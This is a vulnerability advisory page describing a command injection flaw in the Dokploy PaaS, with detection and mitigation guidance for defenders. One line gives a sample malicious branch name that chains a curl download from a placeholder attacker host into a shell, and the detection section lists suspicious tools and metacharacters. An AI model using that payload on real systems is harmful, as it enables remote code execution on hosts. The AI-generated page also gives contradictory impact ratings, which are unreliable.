A Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection. Six years running.Six years. Gartner® Magic Quadrant™ Leader.Find Out Why
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-45628

CVE-2026-45628: Dokploy Command Injection RCE Vulnerability

CVE-2026-45628 is a command injection RCE vulnerability in Dokploy that allows authenticated users to execute arbitrary commands through unescaped input. This article covers technical details, affected versions, and mitigation.

Published: June 4, 2026

CVE-2026-45628 Overview

CVE-2026-45628 is a command injection vulnerability in Dokploy, a self-hostable Platform as a Service (PaaS). Dokploy versions 0.29.2 and earlier construct shell commands using JavaScript template literals and execute them via child_process.exec(), which spawns /bin/sh -c. User-supplied branch names, repository URLs, and Docker credentials are interpolated into these commands without escaping. An authenticated user with application create or edit privileges can inject arbitrary shell metacharacters to execute commands on the host. The flaw is classified under [CWE-20: Improper Input Validation].

Critical Impact

Authenticated attackers with application management privileges can execute arbitrary shell commands on the Dokploy host, compromising confidentiality and integrity of all hosted applications.

Affected Products

  • Dokploy 0.29.2 and earlier
  • Self-hosted Dokploy PaaS deployments
  • Dokploy-managed Git repository and Docker image workflows

Discovery Timeline

  • 2026-05-29 - CVE-2026-45628 published to NVD
  • 2026-05-29 - Last updated in NVD database

Technical Details for CVE-2026-45628

Vulnerability Analysis

Dokploy builds shell command strings using JavaScript template literals and passes them to child_process.exec(). The Node.js exec() function invokes commands through /bin/sh -c, meaning any shell metacharacters present in interpolated values are interpreted by the shell. Branch names, repository URLs, and Docker registry credentials supplied by application owners flow directly into these command strings without sanitization or escaping. An authenticated user creating or editing an application can supply a crafted branch name such as main; curl attacker.tld/x.sh | sh and trigger arbitrary command execution under the Dokploy service account. Because Dokploy orchestrates containers, Git clones, and registry logins on the host, the compromised process typically holds Docker socket access and filesystem privileges sufficient to pivot to other tenants on the platform.

Root Cause

The root cause is the use of string interpolation for shell command construction combined with child_process.exec(). Safe alternatives such as child_process.execFile() or spawn() with an argument array bypass the shell entirely and prevent metacharacter interpretation. Dokploy does not validate or escape user-controlled fields before interpolation.

Attack Vector

Exploitation requires network access to the Dokploy interface and an authenticated account with application create or edit rights. The attacker submits a malicious value in any of the affected fields, including Git branch, repository URL, or Docker credentials. Dokploy then executes the resulting concatenated shell command during repository cloning, image pulls, or deployment workflows, running the injected payload with Dokploy's privileges. See the GitHub Security Advisory GHSA-3frc-cfh9-ch2c for technical details.

Detection Methods for CVE-2026-45628

Indicators of Compromise

  • Unexpected child processes spawned by the Dokploy Node.js process, particularly sh, bash, curl, wget, or reverse shell binaries outside normal deploy workflows.
  • Git branch names, repository URLs, or Docker credential fields containing shell metacharacters such as ;, |, `, $(, or && in Dokploy application records.
  • Outbound network connections from the Dokploy host to unfamiliar domains during deployment events.

Detection Strategies

  • Audit Dokploy application configurations for non-standard characters in branch names, repository URLs, and registry credentials.
  • Monitor process trees rooted at the Dokploy service for shell invocations that do not match git, docker, or buildx operations.
  • Review Dokploy audit logs and Git operation logs for create or edit events immediately preceding suspicious host activity.

Monitoring Recommendations

  • Enable command-line argument logging on the Dokploy host through auditd or equivalent and forward to a centralized SIEM.
  • Alert on Docker socket access or container creation initiated by processes other than the Dokploy backend.
  • Track authentication events and privilege changes within Dokploy to identify accounts capable of triggering this vulnerability.

How to Mitigate CVE-2026-45628

Immediate Actions Required

  • Upgrade Dokploy to a release later than 0.29.2 that addresses the command injection issue.
  • Restrict application create and edit permissions to a minimal set of trusted operators until patched.
  • Rotate any Docker registry credentials and Git tokens stored in Dokploy that may have been exposed.
  • Review all existing application records for malicious values in branch, repository, and credential fields.

Patch Information

The Dokploy maintainers published advisory GHSA-3frc-cfh9-ch2c describing the issue and fix. Operators should upgrade to a fixed Dokploy release and redeploy affected instances. Verify the installed version with dokploy --version after upgrade.

Workarounds

  • Place the Dokploy management interface behind a VPN or reverse proxy with strict authentication and IP allow-listing.
  • Disable self-registration and require administrator approval for any account that can create or edit applications.
  • Run the Dokploy service as an unprivileged user without direct Docker socket access where feasible, limiting blast radius.
bash
# Configuration example: restrict Dokploy access via reverse proxy allow-list
# nginx snippet placed in front of the Dokploy UI
location / {
    allow 10.0.0.0/24;       # trusted management network
    deny  all;
    proxy_pass http://127.0.0.1:3000;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
}

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechDokploy

  • SeverityCRITICAL

  • CVSS Score9.6

  • EPSS Probability0.05%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityNone
  • CWE References
  • CWE-20
  • Technical References
  • GitHub Security Advisory
  • Related CVEs
  • CVE-2026-45632: Dokploy Schedule Router RCE Vulnerability

  • CVE-2026-45662: Dokploy Registry Deletion RCE Vulnerability

  • CVE-2026-45629: Dokploy RCE Vulnerability

  • CVE-2026-45630: Dokploy Command Injection Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English